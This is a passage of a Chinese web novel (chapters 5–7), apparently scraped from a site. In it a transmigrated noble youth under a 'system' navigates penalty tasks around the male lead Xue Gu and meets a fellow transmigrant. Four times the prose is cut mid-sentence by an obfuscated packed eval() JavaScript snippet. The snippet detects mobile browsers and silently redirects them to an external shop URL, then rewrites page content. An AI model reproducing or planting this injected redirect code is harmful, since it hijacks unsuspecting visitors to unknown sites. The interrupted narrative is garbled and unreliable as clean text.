系统冷冰冰像个人机:“等待系统更新,等待系统更新。” 得,还要更新呢。沈幼青自知问不出什么,又不想坐以待毙,于是,焦虑地半躺在美人塌上看起了话本。 一天一眨眼就过去了,据传来的消息,李胥被大夫从阎王爷那抢回来了,武安侯赏赐那大夫众多金银珠宝,实属羡煞旁人。 只是,武安侯世子自从清醒后,脑袋就不正常了,尽说些胡话,连写字都不会动笔了,急得武安侯面向天下郎中悬赏,诚邀他们来救治他儿。 沈幼青彼时坐在通往武安侯府的马车上,听说李胥没死但傻了,既觉得好笑,又留有几分庆幸。李胥不是个好人,甚至恶迹斑斑,但如果李胥是因为他莫名其妙地死了,他不太能接受。再者此人在剧情里不是无足轻重的角色,而是未来阻挠薛故争权登未的一大绊脚石。 而帮助他对付薛故的沈幼青,跟李胥在薛故眼里就是一对“狗男女”。 沈幼青笑不出来。 “少爷,你现在去探望李胥,暴露了怎么办?” 沈幼青摇了摇头道:“谁说我要去探望了,在门前问候几句就走。”这种特殊情况,武安侯也不会放心让他进去的。 远方传来哒哒的马蹄声以及车轮滚过地面的辘辘声,桃金好奇地掀开马车车幔,探出头去,“外面好热闹啊,少爷,我想下去看看。” 远方城门大开,通往皇宫的街道两侧被围得水泄不通,中间大道数匹马的嘶鸣声高亢激越,像在示威一般。 士兵身后,高头大马上坐了一人,身姿挺拔,着银线暗纹战甲,皮革裹住他劲瘦的腰身,腰侧斜插了一把玄色螭首宝剑。 前方人太多,骑兵队伍被迫暂时原地停驻,等着疏散完人群,再出发。 有士卒快步走到那人身边,低下头,毕恭毕敬地说了几句话。 马上的人漫不经心地“嗯”了一声,解下腰间的剑,随手扔给了士卒,露出腰间悬着的刻有“故”字的青白玉佩。 他侧过身的那刻,沈幼青透过马车车窗,终于看清了马上之人的脸。 明明初春暖阳打在身上,沈幼青却感受不到丝毫暖意,下意识抱紧怀中做工精巧、圆润温热的手炉。 那人一头乌发高高束起,两边碎发迎风飘动,鼻梁高挺,狭长的凤眼不笑时,眸色漆黑如砚台倾泼的墨,周身气息似倒春寒时裹着潮湿的劲风,让人望而生畏,不敢与之对视。 沈幼青只觉空气沉闷,心脏像被无形的手攥紧,令他呼吸不畅。 薛故,回来了。 他听到大脑里系统更新完成的提示音,一遍又一遍冲击他的耳膜,无不昭示着男主的出现,便是系统时间的重启,这本书在他眼前再次开始翻页。 “检测到宿主出现重大失误,导致重要角色险些死亡,黄牌警告一次!惩罚警告!惩罚警告!” “……”沈幼青无声咒骂。 此时,薛故忽然侧过头,似猎食中的动物般警觉,发现空气中的异样后,目光很快锁定斜后方的马车。 沈幼青陡然撞上他的视线,大脑清空,呼吸停了一拍。 他看哪呢看哪呢? 哦,好像是在看我。 沈幼青无法描述薛故看见他后的微妙眼神,平静却危险,单是一闪而过的阴沉足以让他背脊发凉。 沈幼青忙不迭站起身,拉下马车的车幔,挡住了太阳,也挡住了薛故令人不快的视线。 他想起来了这个眼神。 八年前,第一次遇到薛故的时候,他望向自己,便是这个眼神。 瑞雪兆丰年,街上家家户户自扫门前雪,人们摆起小摊,碗盏清脆的碰撞声间,烟雾腾腾,为冬天添了一分暖色。 沈幼青当时十岁,怕冷所以衣服穿得很厚,远看像一颗圆滚滚的汤圆,由于容貌过于可爱,被街巷里的摊主塞了不少吃食。 他偷跑出来,只告诉了桃金,并让她记得接应自己,保守好秘密,他就给桃金带糖人回来。 路过糖人小摊,沈幼青站在旁边眼睁睁瞅着糖人师傅制作过程,只是下一刻被对面墙角的小少年吸引住了。 少年脸上的脏污难掩其面容清俊,手臂脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427123|200889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腕处都缠了绷带,双脚旁立了一只破碗。 沈幼青见不得这么小又漂亮的孩子在寒风中受冻挨饿。 他暗自猜测着,很多讨乞的人早已经离开小巷去寻个暖一点的住处。这个小乞丐估计没跟上队伍。 沈幼青走过去,在他旁边蹲下,少年头抬都不抬,似乎对一切都不感兴趣,眼神空洞无神,不知道是不是在发呆。 不知怎么的,沈幼青脑中倏地蹦出一段话:只有那眼珠间或一轮,还可以表示他是一个活物。 小乞丐有点吓人,但也很可怜。破碗里面一个铜板也没有。这么冷的天,身上还有伤,他居然还睡在小巷子里。若晚上再下场大雪,那后果不堪设想。 沈幼青迅速将手伸进兜里,而那少年一手搭在腿上,另一只背在身后的手缓缓拔出匕首。苍白的手指握住柄端,但看见沈幼青掏出的东西后,又不动声色地将其按回原处。 只见破碗里进了一个铜板,两个铜板,三个铜板……最后沈幼青觉得还不够,又加了两锭银子。 此处空寂许久,连绵不绝的清脆响声显得有些突兀。 只是少年茶色眼瞳里的温度似乎越来越低,一双凤眼直勾勾地盯着她。 沈幼青咳了一声:“我出来没带多少钱,只有这些了。” 少年声音嘶哑,却不难听,说着并不熟练的官话:“这不是我的碗。” 沈幼青误以为小乞丐为了维护尊严,不承认自己以乞讨为生,不过他表示能理解。 “请你去吃饭。”沈幼青定睛看他,眸光潋滟,如山中泉水般纯净明澈,充满生机。 小乞丐神色一愣,旋即扯起嘴角,“噗嗤”一下从鼻腔里笑出声来,笑容愈发肆意,眼神却带着轻蔑和讥讽。 “你以为自己是什么救济众生的菩萨吗?” 沈幼青欲言又止:“我……” 少年闭了闭眼:“我贱命一条,就不劳这位富家小姐施舍与怜悯,以彰显自己高贵的品德了。” 沈幼青抿下颌线绷得很紧,一字一句道:“我将你误当作乞丐是我的错,我道歉。但我不想看你死在这里,你将我的好意曲解成对你的侮辱,是不是也该对我道歉?” “慢走不送。”少年靠在墙角,声音没有一丝起伏。 沈幼青咽不下这口气,将破碗里的钱倒了出来,快速塞入他的怀里,然后笑眯眯道:“既然都贱命一条了,我用这几两银子买你这条贱命够不够?” 少年薄唇紧抿,视线死死钉在他的脸上,眼神似冰层之下深不见底的深渊,看不出来是恼恨还是讥诮。 两张脸以及两道眼神的重合,沈幼青缓缓呼出一口气。 他和薛故初见就如此不愉快,直到后面薛故被认回皇宫,才知道那个雪地里的“小乞丐”就是这本书的男主。 沈幼青轻呵一声,“吓唬谁呢?” “警告!警告!惩罚还有十秒开启,请宿主立即按下确定按钮,不作为视为拒绝接受惩罚,检测到后积分即刻清零。” “?!”等等。 5. 请帖 沈幼青飞速按下了确定,积分清零可不是闹着玩的。 “宿主可以从以下四个选项中选择其中一个惩罚: A.当众扇男主巴掌,并大喊“恶心”。 B.在李胥面前亲男主一口。 C.深情表白男主,说:“我不喜欢世子,只喜欢你。 D.以上全选。” 草!扇巴掌肯定不行,薛故要是扇回来咋办,不对,没那么宽容。 “宿主请尽快选择,倒计时十秒:10、9、8……” 沈幼青气笑了,每一个选项都给他埋坑,原来惩罚就是让他在薛故面前花样作死。 “6,5——” 在李胥面前亲薛故?B绝对不能选。是嫌自己死得不够快,想体验一把被主角和反派同时追杀的感觉吗? “4,3——” 还深情表白,怎么这么油腻。薛故信不信暂且不说,表完白再按剧情作妖,他可能死得比原著还早。 沈幼青脑子如一团浆糊,怎么也狠不下心选择其中一个。 要不就C吧,好像A也还行…… “2——” 沈幼青咬咬牙,手指停在选项C上,刚欲点下去,耳边传来桃金的声音,“少爷!” 他手指一抖,慌乱下碰到了选项D。 “叮——宿主已选择D.以上全选,恭喜宿主选择豪华套餐,想必会有美好的体验。接下来请在一周内依次完成任务,否则积分清零。” 沈幼青:“……” 他长叹了一口气,用头一下又一下轻轻撞着车窗边缘。 桃金并不知道他此时的崩溃,喜出望外地讲述方才在外面的见闻。 “我还是第一次见这种场面。三皇子殿下好生厉害,打得北羌连连败退,你看见了吗,路边的百姓都是来贺喜的,夸人家玉面战神呢。” 沈幼青有气无力地点点头。 要求他一周之内完成,他能不能一周之内见到薛故、李胥都是个未知数。 马车驶到武安侯府门口,沈幼青立在府外屋檐下,红着眼睛问管家世子是否安好,眼下的乌青似多夜未能安眠。 管家被沈幼青的“情意”感动到了,但也如沈幼青所料,依旧拒绝探望,理由是李胥暂时不能受刺激。 沈幼青却冥冥之中觉得没那么简单。 回到沈府,沈太傅已然下朝,手里拿着一份请帖,拍在桌上。 “陛下派人送来的庆功宴请帖,此次北羌大捷,陛下势必会敕封三皇子殿下封号。” 沈幼青故作深沉地接了一句:“京城的天,要变了。” 沈太傅瞥了他一眼,指节在他脑门上敲了一下。 “少贫。” 沈幼青“哎哟”了一声:“爹,你就仗着我是男孩,下手这么重。我怎么就没投胎成女孩,看你到时候还忍心打我不?” “行了,找我有什么事?” 沈幼青笑了笑,伸出手臂,慢慢悠悠地将桌上的请帖移到自己旁边。 “爹,庆功宴,让我去吧。” 机会来了。 ---------------- 原著里的庆功宴,篇幅很短,但内里暗波汹涌,几乎每个人800个心眼。按照小说来看,李胥也是在场的。 沈幼青这次没带上桃金,让柳银随侍左右。 穿过宫门,御道上时不时有羽林卫巡逻经过,两两官员走在一起,正热火朝天地闲聊。 沈幼青听来只言片语,离不开“储位”“殿下”这几个词。 沈幼青表示理解。在朝廷站位,就跟买股一样,买股成功那就是飞黄腾达,官运亨通,失败则是时运不济,官途坎坷。唯一要小心的,是最后能不能护住自己的脑袋。 红色宫墙转角处,沈幼青迎面被来人撞得后退几步。 来人当即双膝跪地,磕头认错:“奴才该死,奴才该死……” 沈幼青在这封建王朝活了十八年,仍然不习惯别人给自己跪下磕头。 “无碍,你快起来吧。” “奴才有罪,冲撞了贵人,请贵人宽恕。”林安站起身,依旧垂着头,怯生生地道歉,看样子是吓坏了。 倏尔沈幼青就明白了眼前小太监为何慌张。 两个太监怒气冲冲地走过来,对着沈幼青行了个礼后,咬着后槽牙,面上带笑:“这奴才不懂礼数冒犯了小姐,奴才们这就拖下去给他个教训。” 沈幼青眉头紧锁:“不妨事,他没有冒犯到我。” “小姐千万别被这小子的可怜样给蒙骗了,他偷了我们的荷包,且证据确凿!” 林安嘴唇嗫嚅着,听到这蓦地勇气上身:“我没偷!” “好啊,你还想抵赖不成?”其中一个太监情绪激动,拳头高高扬起。 “柳银。”沈幼青喊了一声。 下一瞬,太监手臂被柳银反手扭在背后,痛得叫出声来。 沈幼青自认为不是什么正义人士,但瞅到小太监清秀的脸上遍布青紫,以及脖子上的暧昧红痕,亲眼目睹后他做不到视而不见。 沈幼青心中呸了一声:连太监都欺负,还是人吗? “我走之后不许找他麻烦。”沈幼青踢了踢倒在他身边的太监,又嫌恶地退远了几步,拂开袖子云淡风轻道:“我未婚夫婿是武安侯世子,后面该怎么做自己掂量掂量吧。” 我靠,原来这就是装逼的感觉,爽之。 看来李胥还是有点用处的。 沈幼青满意地转身离开,心情愉悦极了。 林安静静地望着他的背影,眼里几分错愕。 ---------------- “这沈家女,几年过去了,心性仍旧和从前一样。” 宽敞舒适的马车里,男子摇头轻笑着,看对面之人没什么反应,又忍不住逗弄几句,学沈幼青的语气说:“我未婚夫婿是武安侯世子,后面该怎么做自己掂量掂量吧。啧,听完什么感受?” “下去。”薛故翻看手中信件,没有分丝毫眼神给他。 楚砚“嘁”了一声:“无趣。”他转着指节上的玉扳指,继续问道,“前未婚妻即将另嫁他人,薛观南,你怎么看起来一点反应都没有?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427124|200889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >薛故轻嗤一声,眼里透着讥诮。他只要一闭眼,就会想起那日沈幼青惊慌的神色和匆忙拉下的帘角。 那瞬间血气迅速上涌,心脏像被蚂蚁啃啮,缓了很久才压下怒火,按捺住上前掀开车帘,将人拉出马车的冲动。 沈幼青不像山雀,更像宫里贵人们养的金丝雀,踩在笼子的铁线上,叽叽喳喳叫个不停。不理睬它时叫得愈发欢快,当你逼近就缩起翅膀,无声无息。 怕冷怕热,怕苦怕痛。世上怎会有这么麻烦的人。 薛故并不想将将那门亲事当真,可沈幼青偏生爱来招惹他。 他十二岁刚进京时,官话只学会了一半。他母亲是北羌之前献给皇帝的舞姬,而他也继承了一点母亲的异域容貌特征,比如茶色眼瞳,在阳光下很明显,加之从小到大生活在边外地带,于是被起了蔑称。 沈幼青偶然一次听到后,义愤填膺道:“他们在用官话骂你是北彘,别搭理。还有北蛮子,也是骂你的,千万别生气,你一生气就输了,正中他们下怀。” 他不生气。 薛故大概也能猜到那些人在骂他,但他不在意别人评价,不喜欢别人关心,也不喜欢别人多管闲事。 只是,沈幼青看起来比他还生气。 在宫里的宗学堂上学,沈幼青总要坐在他的旁边,说要教他读,读完几段千字文,就开始打瞌睡。 明明身子骨弱,却总喜欢跟着他。 “哥哥说不想娶我,那这样吧,我想到了一个很完美的解决方法。” 薛故回头看他,在等他的回答。 “不如哥哥入赘我们沈家吧,我会好好待你的。”沈幼青眉眼弯弯,言语真挚。 薛故甩袖就走。 就不该对他抱有什么希望。 “真的不考虑考虑嘛,我这么喜欢你,以后肯定会对你好的。” 轻浮。薛故没见过别人像他这般常把“喜欢”两个字挂在口中,放佛跟喝水吃饭一样简单。 最初,薛故可以做到对他视而不见,不知何时开始,他做不到了。 他一远离,沈幼青什么话都信手拈来,不会因为他冷脸而退缩,可一旦他靠近了一步,沈幼青又登时缩回窝里。 楚砚发觉薛故表情不太对劲,不怕死地问了一句:“你不会还对他余情未了吧?” 薛故眼睑垂下一片阴影,薄唇微抿,手中的信件愈攥愈紧:“怎么会?” “也是,都三年过去了,怎么也放下了。这沈家小姐,除了一张脸别无是处,心肠也是够狠够硬,当初在你中了敌方毒箭危难关头,送来一纸退婚书……”楚砚心想,要是他遭遇了这事,绝对不会让对方好过。 楚砚下了马车。没关紧的车帘露出缝隙,傍晚斜阳的余晖趁机挤了进来,在车厢内壁投下静坐的人影。 薛故扯了扯嘴角,低头看着信件,像回到当时看到退婚书的情景,手背的青筋微微凸起,胸腔升起一阵闷痛。 他用着最寻常轻松不过的语调,重复了一遍,“怎么会。”像在自问自答。 骗子。 薛故把信折好,塞进袖子里。 6. 活路 正值日暮,朝霞似锦。 宫女们手捧娇小玲珑的花瓶,端着盛了糕点的圆盘在长长的过道来回穿梭。 几排长桌上零零散散地坐了几个人。最首的留给皇帝的位置还空着,两边供皇室子弟、后宫嫔妃以及朝廷官员入座。 沈幼青没打扰沈太傅的应酬,自觉坐在角落,不显眼还能“俯瞰”全景。 他无聊地环顾四周,来的世家小姐中,细细数来多达十个以后都是薛故的后宫。肤如凝脂,千娇百媚,各个端得一副好姿色。 沈幼青悄悄翻了个白眼,默默祝薛故以后精尽人亡。 随后,他注意到一道炙热的视线。 李胥?沈幼青眉头轻蹙。 居然和小说一样,还是来了庆功宴。 沈幼青对上他的视线,起身行了个礼,温柔笑道:“幼青见过世子,世子近些天身子可好?” “绝了,果真和我想象得一样美……”李胥手握扇柄,看到沈幼青正脸后,摇扇的动作都停下了,喃喃低语着。 沈幼青嘴角一僵:“世子在说什么?”这人脑子真坏掉啦?叽里咕噜啥呢。 李胥似乎还沉浸在自己的世界里,发呆不语。 沈幼青坐回去,决定不理睬他了。 直到听到一句清晰的“卧槽”,沈幼青顷刻间站起身,碰倒了手边的清酒,下半身的裙子被浸湿了一大块,但沈幼青恍若无闻,死死地盯着李胥的脸,连苦练好久的千金淑女走姿都没顾得上,大跨步上前,拉着李胥的胳膊往外走。 旁边宫女赶紧扶起酒盏,刚想带沈幼青去换身衣裙,转眼间人已经不见了。 “沈……小姐,请……请自重。”李胥瞪着眼睛满脸疑惑。 将人拉到御花园,仔细检查确保附近没人后,沈幼青双手抱胸,在李胥面前来回踱步,表情带着深深的探究。 “姑娘何事?” 还装!沈幼青心中冷笑,面上不显,“听闻武安侯世子满腹经纶,才气过人,不如让我来考考世子殿下,看是否如传闻一般。” 李胥像被戳中笑点,挥了挥手:“怎么可能?就他……”然后止住了话头,不明所以地看向了沈幼青。 沈幼青微笑道:“衬衫的价格是?” 上过国家九年义务教育的人不可能没听过这句话,就在沈幼青等着对方说出答案时,李胥拿扇子指着他,又惊又喜,“你,你——等一下,多少来着。” 他挠挠头,再次沉浸在思考中。 沈幼青皱眉,不应该啊,难道是对方活在还没执行全国高考政策的年代? 沈幼青咳了一声,深吸一口气,开唱:“起来!不愿做奴隶的人们!把我们的血肉……” “筑成我们新的长城!”李胥终于接上来了。 确认完毕,是建国之后的人。 沈幼青含泪道:“同志!”在异国他乡遇到老乡,他刚想给李胥一个热情的拥抱,没想到被李胥推开了。 “男女授受不亲。” 沈幼青:“……” 哎,不对,在宴席那边说了“卧槽”不正是他吗,建国时期就有这话了? “什么时候穿过来的?” 李胥:“2026年。” 好巧,他也是。 沈幼青:“那你怎么不知道衬衫的价格是多少,答案是九磅十五便士。” 李胥心虚撇开目光:“我毕业十年了嘛,加上英语不好……” 沈幼青叹了一口气,开始讲述自己来到这个地方的前因后果:“谁懂我就看了本烂文,出车祸之后就穿到小说里的世界。” “咳咳,你口中的烂文是我写的。” 沈幼青瞬间收了表情,忍无可忍道:“原来是你!” “冷静冷静!”李胥举起双手。 “你写的那么烂还上了金榜!” “那你还看。”李胥立刻回怼。 “因为我太无聊了,不然你那老套到家的狗屎剧情狗都不看……还有,谁让你写一个女配跟我撞了名字,让我一个大男人胎穿成她。”沈幼青终于知道什么是有苦说不清,天杀的作者,害得他好惨。 李胥一只手捂住嘴,震惊道:“你是男的?” 沈幼青:“如假包换,要我脱给你看?” 李胥表情古怪,摇着头道:“怪不得,怪不得……” “怪不得什么?” 李胥只好全盘托出:“其实,我写番外的时候,评论区骂我的人太多了,就打算把沈幼青这个角色性别改成男性,这样就没人嚷着把他收入男主后宫了,男主杀了他的理由也更加充分。发现他是男的,所有因为他美貌产生的旖旎情绪瞬间消失殆尽,杀他岂不是很合理。” “……合理你爹,什么垃圾剧情!也就是说,如果沈幼青是女的,薛故看在她美貌份上,背叛什么的都不重要,跟其他反派联手害他也没事,放进后宫里当吉祥物就行?” 李胥点点头:“可以这么理解。” 沈幼青皮笑肉不笑:“你穿进李胥身上真是报应,报应呀。” “好了好了,我跟你道歉,我当时查出了肝癌,还是晚期,一整个人生无望,脑袋也不太清醒,番外稀里糊涂写了一大半。收到读者寄来的刀片后才清醒过来,然后还没改文就死了。没想到,穿到自己笔下的角色身上。” 沈幼青听罢心软了一下,咽下一些难听的话,转念一想,自己间接害死李胥,导致这人的魂魄挤了进来,补齐这个世界的空缺,让剧情照常进行,还真是说不出的缘分。 “那你有绑定系统吗?” 李胥疑惑:“什么系统?” 沈幼青:“没事,你只要记住了,什么剧情都不要更改,按小说来就行了。” “按小说走剧情然后慷慨赴死?” 沈幼青认真道:“我们合作吧,虽然你没有系统,但我可以跟我的系统做交易,保证我不死,你也可以活下来。” 李胥低头思忖一会儿,才说:“好。” 虽然他对自己文里的设定和剧情很熟,但他真没把握活在薛故手底下,从来没想过把薛故写的那么厉害,结果是坑了自己。 两人不敢在御花园逗留太久,交换完一些信息后分头走了。 沈幼青换了被弄湿的裙子后,回到原本的座位时,宴席上人差不多坐满了。 倒春寒已经过去了,人们已经换上更加轻薄的衣服,只有沈幼身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427125|200889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着莲青色对襟长裙,肩上披了一层白绒曳地披风,手捧鎏金小手炉,全身装扮在众人之中很显眼。 坐在高堂之上的皇帝倒不是刻板印象中的大腹便便,反而很消瘦,五官可以看出以前相貌不差,也不知道薛故那张好看的脸随谁更多一点呢。 沈幼青很少参加这种宫宴,十几年都没见过几次皇帝,依稀记得几年前最后一次看到他还是正常男人的体型,不肥腴也不过分消瘦。 沈太傅坐在皇帝身边,两人相谈甚欢,只可惜沈幼青离得太远,听不清楚。 沈太傅对面坐了皇族王孙,薛故颀长挺拔的身形在其中仿佛鹤立鸡群,想忽视都难。 沈幼青来庆功宴不仅是为了履行系统的惩罚,还有之前桃金点醒他的“试探”,再加上原著作者亲口说的话作为佐证,原著中的薛故就是个用几把思考的起点男主,自己只要不暴露真实性别,暂时就不会被他报复至死。 很好,找到活路了。 沈幼青视线时时刻刻跟随着薛故,正细致观察中。薛故偶尔和上前贺喜的人交杯换盏,其他时候根本不说话,神情漠然,像结了一层冰。 身旁的宫女替他斟酒,薛故抬手做了个手势,宫女旋即停下来动作。 薛故不擅长饮酒,沈幼青很早前就知道。没想到从边塞回来后,虽然酒量比以前好一点,但还是只能喝个三杯两盏。 薛故对别人的视线很警觉,很快就看了过来,沈幼青仗着自己离他比较远,侧身还有人挡住自己,若无其事地移开目光,吃起了盘里的点心。 唔,好好吃!御膳房做出来的就是不一样! 沈幼青就这样一边小心观察薛故一边扫荡桌上的点心,宛若饕餮现世。 邻近一桌的女子并不知道沈幼青的身份,以为是个被府里苛待的小姐,心口泛起丝丝同情:“慢点吃,小心噎着,吃完了我这里还有。” 沈幼青感动不已:“谢谢你。” 女子眼睑处一颗朱砂痣鲜艳欲滴,眸若春水,沈幼青蓦地认出她的身份。 兵部尚书之女,黎姝,原著里很晚出场,一出场只是贵人身份,从后宫三千佳丽中步步登高,最后跃居一国之母。 作者唯一认证的女主,没想到现在居然这么早就出现了。 沈幼青看小说的时候就好奇她的模样,确实如小说描写般“不施粉黛,却依旧美得不可方物”。 “你家人对你很不好吗?” 沈幼青顿时被糕点噎住了,咳出声,喝了黎姝递来的水后,才拼命咽下去了。 “不是,我只是饿了。”沈幼青脸红。 他忍痛放下糕点,打算维护自己形象之时,听到有人喊自己。 他惊诧地看过去,所有人目光集中到他身上。 太监弓着腰,笑容可掬:“沈小姐,陛下传你过去呢,请随奴才来吧。” 半晌,沈幼青再度抬眼,望向高堂,猝然与薛故对视,心口一悸。 只是这次,薛故眼底的情绪不像上次那般阴晦沉郁。 察觉很多人看向自己,沈幼青略微不自在地垂下眼睫,听李胥所说之后,他比以前更在意举止,生怕自己做出了不像女子的举动惹薛故怀疑。 7. 撒谎 走近一看,皇帝的面容愈发清晰,颧骨很高,两颊些许凹陷,一副仙风道骨的样子,看起来随时就要驾鹤西去。 小说中,皇帝跟历史上的其他皇帝都有同一个共性——多疑,是以,他从未想过把皇位继承给膝下的任何一个皇子,甚至添柴加火,坐看几个皇子斗得你死我活。后来薛故掌控大权,皇帝被吊着一条命,求死不能,长期丹药影响下变得痴癫疯傻。 此刻皇帝面色温和,笑着对沈太傅说:“一晃几年过去,令爱长成大姑娘了。只是为何坐那么远,如若不是太傅提起,朕还不知道。” 沈太傅:“小女顽劣,生怕冲撞到陛下,就没让他到跟前了。” 皇帝和沈太傅年龄相差不大,但皇帝尚在太子时期,被太傅教导过,因此沈太傅虽没有实权,但深得皇帝恩宠,在朝中地位并不低。 皇帝摆手数落道:“太傅,这就是你的不对了。” 沈幼青行完礼,不经意瞥了一眼斜对面的薛故,有人正同他寒暄,他依旧冷着脸,有几分心不在焉。 沈幼青殊不知他隐秘的一瞥正好被皇后瞧见。 皇后头戴金冠,同样是笑,她笑起来没有让人如沐春风的感觉,可能出身高贵,满身傲骨,哪怕是笑也有咄咄逼人之势。 她故作惋惜道:“幼青生得仙姿玉貌,本宫看见他就忆起自己年轻时候。可惜了,倘若那份婚约还在,幼青尚且和我们是一家人。” 真是哪壶不提提哪壶。沈幼青脸色变了变,其他人听见后定睛瞧了过来,有的带着看好戏的兴味,有的露出同情之色。 沈幼青退了三皇子的婚事,攀上武安侯世子,眨眼间局势反转,三皇子战事大捷归京,世子落水后损坏了神智,他已经沦为一些人茶余饭后的笑柄。 沈幼青知道皇后不是个善茬,无端提起此事与其说针对自己,不如说是借此下薛故的面子,不让薛故风光之际顺心适意。 “多谢皇后娘娘厚爱,只是缘分太浅,强求不得。”沈幼青恭敬道。 “哦,是吗?”皇后掩唇轻笑,意味深长地望向薛故那边。 薛故掀起眼皮看她,似乎看透了无聊的把戏,一言不发。 “过去之事何必重提,徒增伤感罢了。来人,给沈小姐添酒布菜。”说话的人一袭白色锦袍,看起来十分面善,声音尤为悦耳透亮,沈幼青大概猜到是谁了。 大皇子薛稷,封号宁王。小说中为数不多的好人,善丹青,喜欢游山玩水,且无心争夺皇位。他算是个悲剧人物,一直被背后的势力推着往前走,身陷囹圄。不过,他并非皇后所出,而是皇贵妃之子。 沈幼青挺感激他打断微妙的氛围,落坐到大皇子安排的新位置之后,决意安分一点。 舞姬一曲《破阵乐》跳罢,宴上的人喝得正酣。皇帝龙颜大悦,挥了挥手,身旁的大太监捧起圣旨,朗声道:“奉天承运皇帝,昭曰:三皇子薛故立下赫赫战功,大败北羌,收复四座城池,故赏赐黄金百两,白银千两,宫绸千匹,庄田百里……特此封号定王。定,有定国安邦之意,亦有平定北羌之实。” 薛故两膝跪地,双手接了圣旨,背却挺得很直。 沈幼青现在才能肆无忌惮地打量他。肩胛骨比以前更宽,个子也窜高了不少,褪去年少青涩后,面部轮廓多了几分硬朗。 沈幼青酸得牙痒痒,到底吃啥长这么高。 皇室子弟一一贺喜,沈幼青凭借出色的记忆力,把每个人的脸和小说中的人物对应上了。 总结就是,伪善的爹,尖刻的“妈”,老好人的大哥,狠毒的二哥,缺席的四弟和无依无靠的他。 二皇子薛咎,封号肃王,对薛故的恶意最为明显,哪怕敬酒也噙着一抹嘲意,说话也不客气。 看过肃王结局的沈幼青像是早知他人命运的仙人一样摇头叹气:你说说你,表露得这么明显干嘛,死得最早得就是你。真是不争气啊。 终于,宴席到了尾声。 沈幼青为了维持优雅得体的举止,浑身酸痛,但还有系统颁发的惩罚任务要完成,他不能松懈。 身边人陆陆续续离座,沈幼青还在吃着菜,未曾放下筷子。 只是再抬头的时候,薛故的位置上空无一人。 沈幼青深受打击。 他赖着不走就是为了等薛故,结果一个没注意人就不见了。 沈幼青又恼又悔,给李胥使了个眼色后,离开座位去找他。 夜幕低垂,月似琼勾,空气中夹杂凉意。 沈幼青走得很急,环顾四周,路过一块假山时蓦地被捂住口鼻,拉入暗处。 “在找什么?”那人胸膛贴着他的背部,在他耳廓边低语,冷冽的气息以及说话时胸腔的振动起伏沈幼青感知得一清二楚。 沈幼青本来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427126|200889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还在挣扎,听到声音后手脚顿时安分了。 “我没找谁……迷路罢了。” “撒谎。”薛故压低了嗓音,透着微微喑哑,动作间沈幼青隐隐闻到一股酒味。 沈幼青当下“哈”了一声,带着怒气反诘一句:“你哪只眼睛看到我撒谎了?” 地方太狭窄太暗,银色绸缎般的月光都照不进来,沈幼青看不清。 “本王听到了。”薛故语气笃定。 沈幼青淡淡“哦”了一声。 “宴席上,为何一直看本王?” 换个人来说这话,绝对是一股猥琐普信男味儿,薛故说的时候,眉心微蹙,带着困惑,像喃喃自语,似乎认定沈幼青不会说出真话。 沈幼青反驳:“你不看我怎么知道我在看你?” 见对方没有反应,沈幼青鼓起勇气道,“薛观南,你是不是醉了?” “醉了又如何?” 沈幼青窃喜,醉了就好办了。 察觉到薛故有几分醉意,沈幼青瞬间松弛下来。 只是不知怎么引发他的不快,薛故掰过他的脸,抬手遥指外面,问他:“看见了吗?” 沈幼青循着方向望过去,是两道身影,正在不远处的树下相谈甚欢。 李胥和原著女主黎姝。 他来之前特意给李胥使个眼色让他跟上自己的,不然这任务无法完成。 “看……看什么?”沈幼青不解。李胥有什么好看的。 薛故漫不经心道:“你的未婚夫,若是知道我们在这里幽会,会怎么做?” 沈幼青看似怒极,挣开他的桎梏,退开一步,找准他的脸,扬起手快要打上去,忽然怂了,“啪”的一声,手指从他脸颊轻轻擦过,连印子也没留下。 “你真让我恶心。”沈幼青干巴巴地念着台词。 薛故定定地看着他,长睫轻颤,凤眸转黯,聚起几分错愕和迷茫。 沈幼青说完就垂下头,不敢对上他的目光,攥紧衣角,指甲掐入掌心,昭示着他忐忑不安的情绪。 